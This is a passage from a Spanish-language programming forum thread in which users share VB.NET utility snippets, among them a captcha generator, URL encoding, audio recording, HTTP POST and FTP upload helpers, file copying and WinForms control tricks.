  12.        Select Case Number
  13.            Case MIN To MAX : Return True
  14.            Case Else : Return False
  15.        End Select
  16.    End Function
  17.  
  18. #End Region


A mi se me ocurre otra manera pero no tengo ni idea de cual es más rápida.
Código
  1. Function numero(ByVal MIN As Integer, ByVal MAX As Integer) As Boolean
  2.        Dim N As Integer
  3.        N = InputBox("Escribe un nº cualquiera", "hola", 0)
  4.  
  5.        If N >= MIN And N <= MAX Then
  6.            MsgBox("EL NUMERO SE ENCUENTRA ENTRE " & MIN & " Y " & MAX)
  7.        Else
  8.            MsgBox("EL NUMERO NO SE ENCUENTRA ENTRE LOS VALORES")
  9.        End If
  10.    End Function


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Marzo 2013, 15:32 pm
@arts
la verdad es que según tengo entendido entre las comprbocaciones de IF y Select Case no hay diferencia así que creo que deben ser igual.




Generador de captchas.


(http://img705.imageshack.us/img705/7038/captura3iw.png)


Código
  1. #Region " Captcha Generator Function "
  2.  
  3.    ' [ Captcha Generator Function ]
  4.    '
  5.    ' Instructions:
  6.    ' Copy the Captcha Class into a new Class "Captcha.vb"
  7.    '
  8.    ' Examples :
  9.    ' Dim myCaptcha As New Captcha
  10.    ' PictureBox1.Image = myCaptcha.GenerateCaptcha(5) ' Generate a captcha of 5 letters
  11.    ' MsgBox(myCaptcha.Check(TextBox1.Text, True)) ' Check if the given text is correct
  12.  
  13.  
  14.    ' Captcha.vb
  15. #Region " Captcha Class "
  16.  
  17.    Imports System.Drawing
  18.    Imports System.Drawing.Drawing2D
  19.  
  20.    Public Class Captcha
  21.  
  22.        Dim cap As String
  23.  
  24.        Public ReadOnly Property CaptchaString As String
  25.            Get
  26.                Return cap
  27.            End Get
  28.        End Property
  29.  
  30.        ' Generate Captcha
  31.        Function GenerateCaptcha(ByVal NumberOfCharacters As Integer) As Bitmap
  32.            Dim R As New Random
  33.            Dim VerticalLineSpaceing As Integer = R.Next(5, 10) ' The space between each horizontal line
  34.            Dim HorisontalLineSpaceing As Integer = R.Next(5, 10) ' The space between each Vertical line
  35.            Dim CWidth As Integer = (NumberOfCharacters * 120) 'Generating the width
  36.            Dim CHeight As Integer = 180 ' the height
  37.            Dim CAPTCHA As New Bitmap(CWidth, CHeight)
  38.            Dim allowedCharacters() As Char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM123456789".ToCharArray 'Guess
  39.            Dim str(NumberOfCharacters - 1) As Char ' The String to turn into a captcha
  40.  
  41.            For i = 0 To NumberOfCharacters - 1
  42.                str(i) = allowedCharacters(R.Next(0, 61)) ' Generating random characters
  43.            Next
  44.  
  45.            Using g As Graphics = Graphics.FromImage(CAPTCHA)
  46.  
  47.                ' the gradient brush for the background
  48.                Dim gradient As New Drawing2D.LinearGradientBrush(New Point(0, CInt(CHeight / 2)), New Point(CWidth, CInt(CHeight / 2)), Drawing.Color.FromArgb(R.Next(&HFF7D7D7D, &HFFFFFFFF)), Drawing.Color.FromArgb(R.Next(&HFF7D7D7D, &HFFFFFFFF)))
  49.  
  50.                g.FillRectangle(gradient, New Rectangle(0, 0, CWidth, CHeight))
  51.                Dim plist As New List(Of Point) ' the list of points the curve goes through
  52.  
  53.                For i = 0 To str.Length - 1
  54.                    Dim FHeight As Integer = R.Next(60, 100) 'Font height in EM
  55.                    Dim Font As New Font("Arial", FHeight)
  56.                    Dim Y As Integer = R.Next(0, (CHeight - FHeight) - 40) 'Generating the Y value of a char: will be between the top  and (bottom - 40) to prevent half characters
  57.                    Dim X As Integer = CInt((((i * CWidth) - 10) / NumberOfCharacters))  'Some formula that made sense At the time that I typed it to generate the X value
  58.                    Dim p As New Point(X, Y)
  59.  
  60.                    g.DrawString(str(i).ToString, Font, Brushes.Black, p)
  61.  
  62.                    plist.Add(New Point(X, R.Next(CInt((CHeight / 2) - 40), CInt((CHeight / 2) + 40)))) ' add the points to the array
  63.                Next
  64.  
  65.                plist.Add(New Point(CWidth, CInt(CHeight / 2))) 'for some reason it doesn't go to the end so we manually add the last point
  66.                Dim ppen As New Pen(Brushes.Black, R.Next(5, 10)) ' the pen used to draw the curve
  67.                g.DrawCurve(ppen, plist.ToArray)
  68.                Dim pen As New Pen(Brushes.SteelBlue, CSng(R.Next(1, 2))) 'the pen that will draw the horisontal and vertical lines.
  69.  
  70.                ' Drawing the vertical lines
  71.                For i = 1 To CWidth
  72.                    Dim ptop As New Point(i * VerticalLineSpaceing, 0)
  73.                    Dim pBottom As New Point(i * VerticalLineSpaceing, CHeight)
  74.                    g.DrawLine(pen, ptop, pBottom)
  75.                Next
  76.  
  77.                ' Drawing the horizontal lines
  78.                For i = 1 To CHeight
  79.                    Dim ptop As New Point(0, i * HorisontalLineSpaceing)
  80.                    Dim pBottom As New Point(CWidth, i * HorisontalLineSpaceing)
  81.                    g.DrawLine(pen, ptop, pBottom)
  82.                Next
  83.  
  84.                ' Drawing the Black noise particles
  85.                Dim numnoise As Integer = CInt(CWidth * CHeight / 25) 'calculating the  number of noise for the block. This will generate 1 Noise per 25X25 block of pixels if im correct
  86.  
  87.                For i = 1 To numnoise / 2
  88.                    Dim X As Integer = R.Next(0, CWidth)
  89.                    Dim Y As Integer = R.Next(0, CHeight)
  90.                    Dim int As Integer = R.Next(1, 2)
  91.                    g.FillEllipse(Brushes.Black, New Rectangle(X, Y, R.Next(2, 5), R.Next(2, 5))) 'Size of the white noise
  92.                Next
  93.  
  94.                ' Drawing the white noise particles
  95.                For i = 1 To numnoise / 2
  96.                    Dim X As Integer = R.Next(0, CWidth)
  97.                    Dim Y As Integer = R.Next(0, CHeight)
  98.                    Dim int As Integer = R.Next(1, 2)
  99.                    g.FillEllipse(Brushes.White, New Rectangle(X, Y, R.Next(2, 5), R.Next(2, 5))) 'Size of the white noise
  100.                Next
  101.  
  102.            End Using
  103.  
  104.            cap = str
  105.            Return CAPTCHA
  106.        End Function
  107.  
  108.        ' Check captcha
  109.        Function Check(ByVal captcha As String, Optional ByVal IgnoreCase As Boolean = False) As Boolean
  110.            If IgnoreCase Then
  111.                If captcha.ToLower = CaptchaString.ToLower Then
  112.                    Return True
  113.                Else
  114.                    Return False
  115.                End If
  116.            Else
  117.                If captcha = CaptchaString Then
  118.                    Return True
  119.                Else
  120.                    Return False
  121.                End If
  122.            End If
  123.        End Function
  124.  
  125.    End Class
  126.  
  127. #End Region
  128.  
  129. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Marzo 2013, 17:34 pm
Código:
Minimizar la IDE del VisualStudio cuando la APP está en debug:

[code=vbnet]#Region " Minimize VS IDE when APP is in execution "

    Declare Function ShowWindow Lib "User32.dll" (ByVal hwnd As IntPtr, ByVal nCmdShow As UInteger) As Boolean

    ' Minimize VS IDE when APP is in execution
    Private Sub Minimize_VS_IDE_when_APP_is_in_execution(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
#If DEBUG Then
        Dim Pr() As Process = Process.GetProcesses
        For Each P As Process In Pr
            If P.MainWindowTitle.Contains(My.Application.Info.AssemblyName) Then
                Dim hwnd As IntPtr = P.MainWindowHandle
                ShowWindow(hwnd, 6)
                Exit For
            End If
        Next
#End If
    End Sub

#End Region



Redondear los bordes de cualquier control:

Código
  1. #Region " Round Borders "
  2.  
  3.    ' [ Round Borders ]
  4.    '
  5.    ' Examples :
  6.    ' Round_Border(TextBox1)
  7.    ' Round_Border(PictureBox1, 100)
  8.  
  9.    Private Sub Round_Borders(ByVal vbObject As Object, Optional ByVal RoundSize As Integer = 20)
  10.        Try
  11.            Dim p As New Drawing2D.GraphicsPath()
  12.            p.StartFigure()
  13.            p.AddArc(New Rectangle(0, 0, RoundSize, RoundSize), 180, 90)
  14.            p.AddLine(RoundSize, 0, vbObject.Width - RoundSize, 0)
  15.            p.AddArc(New Rectangle(vbObject.Width - RoundSize, 0, RoundSize, RoundSize), -90, 90)
  16.            p.AddLine(vbObject.Width, RoundSize, vbObject.Width, vbObject.Height - RoundSize)
  17.            p.AddArc(New Rectangle(vbObject.Width - RoundSize, vbObject.Height - RoundSize, RoundSize, RoundSize), 0, 90)
  18.            p.AddLine(vbObject.Width - RoundSize, vbObject.Height, RoundSize, vbObject.Height)
  19.            p.AddArc(New Rectangle(0, vbObject.Height - RoundSize, RoundSize, RoundSize), 90, 90)
  20.            p.CloseFigure()
  21.            vbObject.Region = New Region(p)
  22.        Catch ex As Exception : Throw New Exception(ex.Message)
  23.        End Try
  24.    End Sub
  25.  
  26. #End Region



Decodificar URL:

Código
  1. #Region " URL Decode Function "
  2.  
  3.    ' [ URL Decode Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim URL As String = URL_Decode("http%3A%2F%2Fwww%2Esomesite%2Ecom%2Fpage%2Easp%3Fid%3D5%26test%3DHello+World")
  7.  
  8.    Public Function URL_Decode(ByVal Source As String) As String
  9.        Dim x As Integer = 0
  10.        Dim CharVal As Byte = 0
  11.        Dim sb As New System.Text.StringBuilder()
  12.        For x = 0 To (Source.Length - 1)
  13.            Dim c As Char = Source(x)
  14.            If (c = "+") Then
  15.                sb.Append(" ")
  16.            ElseIf c <> "%" Then
  17.                sb.Append(c)
  18.            Else
  19.                CharVal = Int("&H" & Source(x + 1) & Source(x + 2))
  20.                sb.Append(Chr(CharVal))
  21.                x += 2
  22.            End If
  23.        Next
  24.        Return sb.ToString()
  25.    End Function
  26.  
  27. #End Region



Codificar URL:

Código
  1. #Region " URL Encode Function "
  2.  
  3.    ' [ URL Encode Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim URL As String = URL_Encode("http://www.somesite.com/page.asp?id=5&test=Hello World")
  7.  
  8.    Public Function URL_Encode(ByVal Source As String) As String
  9.        Dim chars() As Char = Source.ToCharArray()
  10.        Dim sb As New System.Text.StringBuilder()
  11.        For Each c As Char In chars
  12.            If c Like "[A-Z-a-z-0-9]" Then
  13.                sb.Append(c)
  14.            ElseIf c = " " Then
  15.                sb.Append("+")
  16.            Else
  17.                Dim sHex As String = Hex(Asc(c))
  18.                sHex = "%" & sHex.PadLeft(2, "0")
  19.                sb.Append(sHex)
  20.            End If
  21.        Next
  22.        Erase chars ' Clean Up
  23.        Return sb.ToString()
  24.    End Function
  25.  
  26. #End Region

[/code]


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Marzo 2013, 18:52 pm
Grabar audio del PC:

Código
  1. #Region " Rec Sound Function "
  2.  
  3.    ' [ Rec Sound Function ]
  4.    '
  5.    ' Examples :
  6.    ' Rec_Sound("C:\Audio.wav", Rec.Start_Record)
  7.    ' Rec_Sound("C:\Audio.wav", Rec.Stop_Record)
  8.  
  9.    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer
  10.  
  11.    Public Enum Rec
  12.        Start_Record
  13.        Stop_Record
  14.    End Enum
  15.  
  16.    Private Function Rec_Sound(ByVal Path As String, ByVal Rec As Rec) As Boolean
  17.        Select Case Rec
  18.            Case Rec.Start_Record
  19.                mciSendString("open new Type waveaudio Alias recsound", "", 0, 0)
  20.                mciSendString("record recsound", "", 0, 0)
  21.                Return True
  22.            Case Rec.Stop_Record
  23.                mciSendString("save recsound " & Path & "", "", 0, 0)
  24.                mciSendString("close recsound", "", 0, 0)
  25.                Return True
  26.            Case Else : Return Nothing
  27.        End Select
  28.    End Function
  29.  
  30. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Marzo 2013, 20:57 pm
Esta función es para escribir "hints" (o "cues") en los TextBox por ejemplo.

Código
  1. #Region " Set Control Hint Function "
  2.  
  3.    ' [ Set Control Hint Function ]
  4.    '
  5.    ' Examples :
  6.    ' Set_Control_Hint(TextBox1, "Put text here...")
  7.  
  8.    <System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  9.    Private Shared Function SendMessage(ByVal hWnd As IntPtr, ByVal msg As Integer, ByVal wParam As Integer, <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)> ByVal lParam As String) As Int32
  10.    End Function
  11.  
  12.    Private Function Set_Control_Hint(ByVal control As Control, ByVal text As String) As Boolean
  13.        Try
  14.            SendMessage(control.Handle, &H1501, 0, text)
  15.            Return True
  16.        Catch ex As Exception
  17.            Throw New Exception(ex.Message)
  18.        End Try
  19.    End Function
  20.  
  21. #End Region



Enviar POST por PHP:

Código
  1. #Region " Send POST PHP Function "
  2.  
  3.    ' [ Send POST PHP Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim htmlcode As String = PHP("http://somesite.com/somephpfile.php", "POST", "name=Jim&age=27&pizza=suasage")
  7.  
  8.    Public Function Send_POST_PHP(ByVal URL As String, ByVal Method As String, ByVal Data As String) As String
  9.        Try
  10.            Dim request As System.Net.WebRequest = System.Net.WebRequest.Create(URL)
  11.            request.Method = Method
  12.            Dim postData = Data
  13.            Dim byteArray As Byte() = System.Text.Encoding.UTF8.GetBytes(postData)
  14.            request.ContentType = "application/x-www-form-urlencoded"
  15.            request.ContentLength = byteArray.Length
  16.            Dim dataStream As System.IO.Stream = request.GetRequestStream()
  17.            dataStream.Write(byteArray, 0, byteArray.Length)
  18.            dataStream.Close()
  19.            Dim response As System.Net.WebResponse = request.GetResponse()
  20.            dataStream = response.GetResponseStream()
  21.            Dim reader As New System.IO.StreamReader(dataStream)
  22.            Dim responseFromServer As String = reader.ReadToEnd()
  23.            reader.Close()
  24.            dataStream.Close()
  25.            response.Close()
  26.            Return (responseFromServer)
  27.        Catch ex As Exception
  28.            Dim PHP_Error As String = ErrorToString()
  29.            If PHP_Error = "Invalid URI: The format of the URI could not be determined." Then
  30.                MsgBox("ERROR! Must have HTTP:// before the URL.")
  31.            Else
  32.                Throw New Exception(ex.Message)
  33.            End If
  34.            Return ("ERROR")
  35.        End Try
  36.    End Function
  37.  
  38. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Marzo 2013, 13:07 pm
FTP Uploader:

Código
  1. #Region " FTP Upload Function "
  2.  
  3.    ' [ FTP Upload Function ]
  4.    '
  5.    ' Examples :
  6.    ' FTP_Upload("C:\File.txt", "ftp://127.0.0.1/File.txt", "User")
  7.    ' MsgBox(FTP_Upload("C:\File.txt", "ftp://127.0.0.1/File.txt", "User", "Pass"))
  8.  
  9.    Public Function FTP_Upload(ByVal FilePath As String, ByVal FTP_FilePath As String, _
  10.                    Optional ByVal User As String = Nothing, _
  11.                    Optional ByVal Pass As String = Nothing) As Boolean
  12.  
  13.        Dim FTP_request As System.Net.FtpWebRequest
  14.        Dim FTP_stream As System.IO.Stream
  15.        Dim FTP_bytes() As Byte
  16.  
  17.        Try
  18.            FTP_request = DirectCast(System.Net.WebRequest.Create(FTP_FilePath), System.Net.FtpWebRequest)
  19.            FTP_request.Credentials = New System.Net.NetworkCredential(User, Pass)
  20.            FTP_request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
  21.            FTP_stream = FTP_request.GetRequestStream()
  22.            FTP_bytes = System.IO.File.ReadAllBytes(FilePath)
  23.  
  24.            With FTP_stream
  25.                .Write(FTP_bytes, 0, FTP_bytes.Length)
  26.                .Close()
  27.                .Dispose()
  28.            End With
  29.  
  30.            Return True
  31.  
  32.        Catch ex As Exception : Return False
  33.        End Try
  34.  
  35.    End Function
  36.  
  37. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Marzo 2013, 15:50 pm
¡ PACK DE SNIPPETS ACTUALIZADO EN EL POST PRINCIPAL !

Ya puedes descargar la colección completa de 178 funciones útiles.

PD: Y no te olvides de ser generoso compartiendo tu conocimiento con los demás en este post...


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Marzo 2013, 23:45 pm
Copiar un archivo con posibilidad de cancelar la operación y reemplazar:

Código
  1. #Region " Copy File In Chunks "
  2.  
  3.    ' [ Copy File In Chunks Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Copy_File_In_Chunks("C:\BigFile.mkv", "C:\BigFile_copy.mkv")
  9.    ' Copy_File_In_Chunks("C:\BigFile.mkv", "C:\BigFile_copy.mkv", 9999, True, True)
  10.  
  11.    Dim Cancel_Copy As Boolean = False
  12.  
  13.    Public Function Copy_File_In_Chunks(ByVal InputFile As String, ByVal OutputFile As String, _
  14.                                        Optional ByVal BufferSize As Int16 = 1024, _
  15.                                        Optional ByVal Overwrite As Boolean = False, _
  16.                                        Optional ByVal DeleteFileOnCancel As Boolean = False) As Boolean
  17.  
  18.        Dim InputStream As New IO.FileStream(InputFile, IO.FileMode.Open, IO.FileAccess.Read)
  19.        Dim OutputStream As IO.FileStream
  20.  
  21.        If Overwrite Then
  22.            OutputStream = New IO.FileStream(OutputFile, IO.FileMode.Create, IO.FileAccess.Write)
  23.        Else
  24.            OutputStream = New IO.FileStream(OutputFile, IO.FileMode.CreateNew, IO.FileAccess.Write)
  25.        End If
  26.  
  27.        Dim Buffer = New Byte(BufferSize) {}
  28.        Dim BytesRead As Integer = 0
  29.  
  30.        Do : If Cancel_Copy Then : GoTo Close_Copy
  31.            Else
  32.                Application.DoEvents() ' Remove it if you don't like...
  33.                BytesRead = InputStream.Read(Buffer, 0, Buffer.Length)
  34.                If BytesRead > 0 Then OutputStream.Write(Buffer, 0, BytesRead)
  35.            End If
  36.        Loop While (BytesRead > 0)
  37.  
  38. Close_Copy:
  39.  
  40.        OutputStream.Flush() : InputStream.Close() : OutputStream.Close()
  41.  
  42.        If DeleteFileOnCancel Then
  43.            Try : IO.File.Delete(OutputFile) : Catch : End Try
  44.            Return False
  45.        Else : Return True
  46.        End If
  47.  
  48.    End Function
  49.  
  50. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Abril 2013, 09:00 am
Form Docking

Junta un form secundario al borde del form principal (para que se muevan sincronizádamente...)

Código
  1.    Public Moving_From_Secondary_Form As Boolean = False
  2.  
  3.    ' Move Event Main Form
  4.    Private Sub Form1_Move(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Move
  5.        If Not Moving_From_Secondary_Form Then Form2.Location = New Point(Me.Right, Me.Top)
  6.    End Sub
  7.  
  8.    ' Move Event Secondary Form
  9.    Private Sub Form2_Move(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Move
  10.        Form1.Moving_From_Secondary_Form = True
  11.        Form1.Location = New Point(Me.Left - Form1.Width, Me.Top)
  12.        Form1.Moving_From_Secondary_Form = False
  13.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Abril 2013, 08:43 am
· Unir argumentos:

Código
  1. #Region " Join Arguments Function "
  2.  
  3.    ' [ Join Arguments Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Join_Arguments())
  9.    ' MsgBox(Join_Arguments(";"))
  10.    ' If Join_Arguments() Is Nothing Then MsgBox("No arguments")
  11.  
  12.    Private Function Join_Arguments(Optional Delimiter As String = " ") As String
  13.  
  14.        ' Check if exist at least one argument
  15.        If Environment.GetCommandLineArgs().Length = 1 Then Return Nothing
  16.  
  17.        ' Store all arguments
  18.        Dim Arguments As [String]() = Environment.GetCommandLineArgs()
  19.  
  20.        ' Delete Argument 0 (It's the name of the APP)
  21.        For x = 1 To UBound(Arguments) : Arguments(x - 1) = Arguments(x) : Next x
  22.  
  23.        ' Redimensione the array
  24.        ReDim Preserve Arguments(UBound(Arguments) - 1)
  25.  
  26.        ' Return the string
  27.        Return [String].Join(Delimiter, Arguments)
  28.  
  29.    End Function
  30.  
  31. #End Region





· Ignorar excepciones:

Código
  1. #Region " Ignore Exceptions "
  2.  
  3.    ' [ Ignore Exceptions ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  9.    '   IO.File.OpenText("X:\Failed_To_Open.txt")
  10.    ' End Sub
  11.  
  12.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  13.        Try : AddHandler Application.ThreadException, AddressOf Application_Exception_Handler _
  14.            : Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException, False) _
  15.            : Catch : End Try
  16.    End Sub
  17.  
  18.    Private Sub Application_Exception_Handler(ByVal sender As Object, ByVal e As System.Threading.ThreadExceptionEventArgs)
  19.        ' Here you can manage the exceptions:
  20.        ' Dim ex As Exception = CType(e.Exception, Exception)
  21.        ' MsgBox(ex.Message)
  22.        ' ...Or leave empty to ignore it.
  23.    End Sub
  24.  
  25. #End Region





· Devuelve el nombre de la aplicación actual:

EDITO: Mejorado

Código
  1. #Region " Get Current APP Name Function "
  2.  
  3.    ' [ Get Current APP Name Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_Current_APP_Name())
  9.    ' MsgBox(Get_Current_APP_Name(False))
  10.  
  11.    Private Function Get_Current_APP_Name(Optional ByVal WithFileExtension As Boolean = True) As String
  12.        Dim EXE_Filename As String = System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName
  13.  
  14.        If WithFileExtension Then : Return EXE_Filename
  15.        Else : Return EXE_Filename.Substring(0, EXE_Filename.Length - 4)
  16.        End If
  17.  
  18.    End Function
  19.  
  20. #End Region





· Devuelve la ruta parcial o la ruta absoluta de la aplicación actual:

EDITO: SIMPLIFICADO

Código
  1. #Region " Get Current APP Path Function "
  2.  
  3.    ' [ Get Current APP Path Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_Current_APP_Path())
  9.    ' MsgBox(Get_Current_APP_Path(True))
  10.  
  11.    Private Function Get_Current_APP_Path(Optional ByVal FullPath As Boolean = False) As String
  12.        If FullPath Then : Return CurDir() & "\" & System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName
  13.        Else : Return CurDir()
  14.        End If
  15.    End Function
  16.  
  17. #End Region





· Sleep

Código
  1. #Region " Sleep "
  2.  
  3.    ' [ Sleep ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Sleep(5) : MsgBox("Test")
  9.    ' Sleep(5, Measure.Seconds) : MsgBox("Test")
  10.  
  11.    Public Enum Measure
  12.        Milliseconds = 1
  13.        Seconds = 2
  14.        Minutes = 3
  15.        Hours = 4
  16.    End Enum
  17.  
  18.    Private Sub Sleep(ByVal Duration As Int64, Optional ByVal Measure As Measure = Measure.Seconds)
  19.  
  20.        Dim Starttime = DateTime.Now
  21.  
  22.        Select Case Measure
  23.            Case Measure.Milliseconds : Do While (DateTime.Now - Starttime).TotalMilliseconds < Duration : Application.DoEvents() : Loop
  24.            Case Measure.Seconds : Do While (DateTime.Now - Starttime).TotalSeconds < Duration : Application.DoEvents() : Loop
  25.            Case Measure.Minutes : Do While (DateTime.Now - Starttime).TotalMinutes < Duration : Application.DoEvents() : Loop
  26.            Case Measure.Hours : Do While (DateTime.Now - Starttime).TotalHours < Duration : Application.DoEvents() : Loop
  27.            Case Else
  28.        End Select
  29.  
  30.    End Sub
  31.  
  32. #End Region





· Devuelve un color RGB aleatorio:

Código
  1. #Region " Get Random RGB Color Function "
  2.  
  3.    ' [ Get Random RGB Color Function ]
  4.    '
  5.    ' Examples :
  6.    ' Label1.ForeColor = Get_Random_RGB_Color()
  7.  
  8.    Private Function Get_Random_RGB_Color() As Color
  9.        Return Color.FromArgb(255, _
  10.            m_Rnd.Next(0, 255), _
  11.            m_Rnd.Next(0, 255), _
  12.            m_Rnd.Next(0, 255))
  13.    End Function
  14.  
  15. #End Region





· Devuelve un color QB aleatorio:
http://msdn.microsoft.com/en-us/library/d2dz8078%28v=vs.80%29.aspx

Código
  1. #Region " Get Random QB Color Function "
  2.  
  3.    ' [ Get Random QB Color Function ]
  4.    '
  5.    ' Examples :
  6.    ' Label1.ForeColor = Get_Random_QB_Color()
  7.  
  8.    Private QB_Random As New Random
  9.    Public Function Get_Random_QB_Color() As Color
  10.        Return Color.FromArgb(QBColor(QB_Random.Next(0, 15)) + &HFF000000)
  11.    End Function
  12.  
  13. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Abril 2013, 09:09 am
· Mover un control
Con opciones de Dirección, velocidad, intervalo, timeout, y hacer búcle sobre el form.


iPKwIZDFnIo


Código
  1. #Region " Move control "
  2.  
  3.    ' [ Move control ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MoveControl(Label1, Direction.Right, 100, 1000, 10, True)
  9.    ' MoveControl(Label1, Direction.Left, 1, 9999999, 2, True)
  10.  
  11.    Dim ControlToMove As Control
  12.    Dim ControlLoop As Boolean
  13.    Dim StartMove As New Timer
  14.    Dim EndMove As New Timer
  15.  
  16.    Public Enum Direction
  17.        Up = 1
  18.        Down = 2
  19.        Left = 3
  20.        Right = 4
  21.    End Enum
  22.  
  23.    Public Sub MoveControl(ByVal Control As Control, _
  24.                           ByVal Direction As Direction, _
  25.                           ByVal Interval As Int64, _
  26.                           ByVal TimeOut As Int64, _
  27.                           ByVal Speed As Int16, _
  28.                           ByVal LoopInsideForm As Boolean)
  29.  
  30.        ControlToMove = Control
  31.        ControlLoop = LoopInsideForm
  32.        StartMove.Tag = Direction
  33.        'TimeOut = TimeOut * 1000 ' If want to use seconds instead of Milliseconds.
  34.        StartMove.Interval = Interval
  35.        EndMove.Interval = TimeOut
  36.  
  37.        For x = 1 To Speed ' Add X amount of handles
  38.            AddHandler StartMove.Tick, AddressOf StartMove_Tick
  39.        Next
  40.  
  41.        AddHandler EndMove.Tick, AddressOf EndMove_Tick
  42.        StartMove.Start() : EndMove.Start()
  43.  
  44.    End Sub
  45.  
  46.    ' Start/continue moving
  47.    Private Sub StartMove_Tick(Sender As Object, e As EventArgs)
  48.  
  49.        If ControlLoop Then ' Loop inside form
  50.            Select Case Sender.tag
  51.                Case 1 ' Up
  52.                    If ControlToMove.Location.Y <= (0 - ControlToMove.Size.Height) Then
  53.                        ControlToMove.Location = New Point(ControlToMove.Location.X, Me.Size.Height)
  54.                    End If
  55.                Case 2 ' Down
  56.                    If ControlToMove.Location.Y >= (Me.Size.Height) Then
  57.                        ControlToMove.Location = New Point(ControlToMove.Location.X, -0)
  58.                    End If
  59.                Case 3 ' Left
  60.                    If ControlToMove.Location.X <= (0 - ControlToMove.Size.Width) Then
  61.                        ControlToMove.Location = New Point(Me.Size.Width, ControlToMove.Location.Y)
  62.                    End If
  63.                Case 4 ' Right
  64.                    If ControlToMove.Location.X >= (Me.Size.Width) Then
  65.                        ControlToMove.Location = New Point(-ControlToMove.Width, ControlToMove.Location.Y)
  66.                    End If
  67.            End Select
  68.        End If
  69.  
  70.        Select Case Sender.Tag ' Direction
  71.            Case 1 : ControlToMove.Location = New Point(ControlToMove.Location.X, ControlToMove.Location.Y - 1) ' Up
  72.            Case 2 : ControlToMove.Location = New Point(ControlToMove.Location.X, ControlToMove.Location.Y + 1) ' Down
  73.            Case 3 : ControlToMove.Location = New Point(ControlToMove.Location.X - 1, ControlToMove.Location.Y) ' Left
  74.            Case 4 : ControlToMove.Location = New Point(ControlToMove.Location.X + 1, ControlToMove.Location.Y) ' Right
  75.        End Select
  76.  
  77.    End Sub
  78.  
  79.    ' End Moving
  80.    Private Sub EndMove_Tick(sender As Object, e As EventArgs)
  81.        StartMove.Stop()
  82.        EndMove.Stop()
  83.        RemoveHandler StartMove.Tick, AddressOf StartMove_Tick
  84.        RemoveHandler EndMove.Tick, AddressOf EndMove_Tick
  85.    End Sub
  86.  
  87. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Abril 2013, 13:09 pm
Obtener las familias de las fuentes instaladas:

EDITO: MEJORADO Y SIMPLIFICADO

Código
  1. #Region " Get Installed Fonts Function "
  2.  
  3.    ' [ Get Installed Fonts Function ]
  4.    '
  5.    ' Examples :
  6.    ' For Each Font As FontFamily In Get_Installed_Fonts() : MsgBox(Font.Name) : Next
  7.    '
  8.    ' For Each FontFam As FontFamily In Get_Installed_Fonts()
  9.    '     Dim MyFont As New Font(FontFam.Name, 8)
  10.    '     MsgBox(MyFont.Italic)
  11.    '     MsgBox(MyFont.OriginalFontName)
  12.    '     MyFont.Dispose()
  13.    ' Next
  14.  
  15.    Private Function Get_Installed_Fonts() As FontFamily()
  16.        Using AllFonts As New Drawing.Text.InstalledFontCollection ' Get the installed fonts collection.
  17.            Return AllFonts.Families ' Return an array of the system's font familiies.
  18.        End Using
  19.    End Function
  20.  
  21. #End Region





Unas de las típicas y quemadísimas funciones para convertir un string a binário:

Código
  1. #Region " ASCII To Binary Function "
  2.  
  3.    ' [ ASCII To Binary Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(ASCII_To_Binary("Test"))
  7.  
  8.    Private Function ASCII_To_Binary(ByVal str As String) As String
  9.        Dim Binary_String As String = Nothing
  10.  
  11.        For i As Integer = 0 To str.Length - 1
  12.            Binary_String &= LongToBinary(Asc(str.Substring(i, 1))).Substring(LongToBinary(Asc(str.Substring(i, 1))).Length - 8)
  13.        Next i
  14.  
  15.        Return Binary_String
  16.    End Function
  17.  
  18.    ' Convert this Long value into a Binary string.
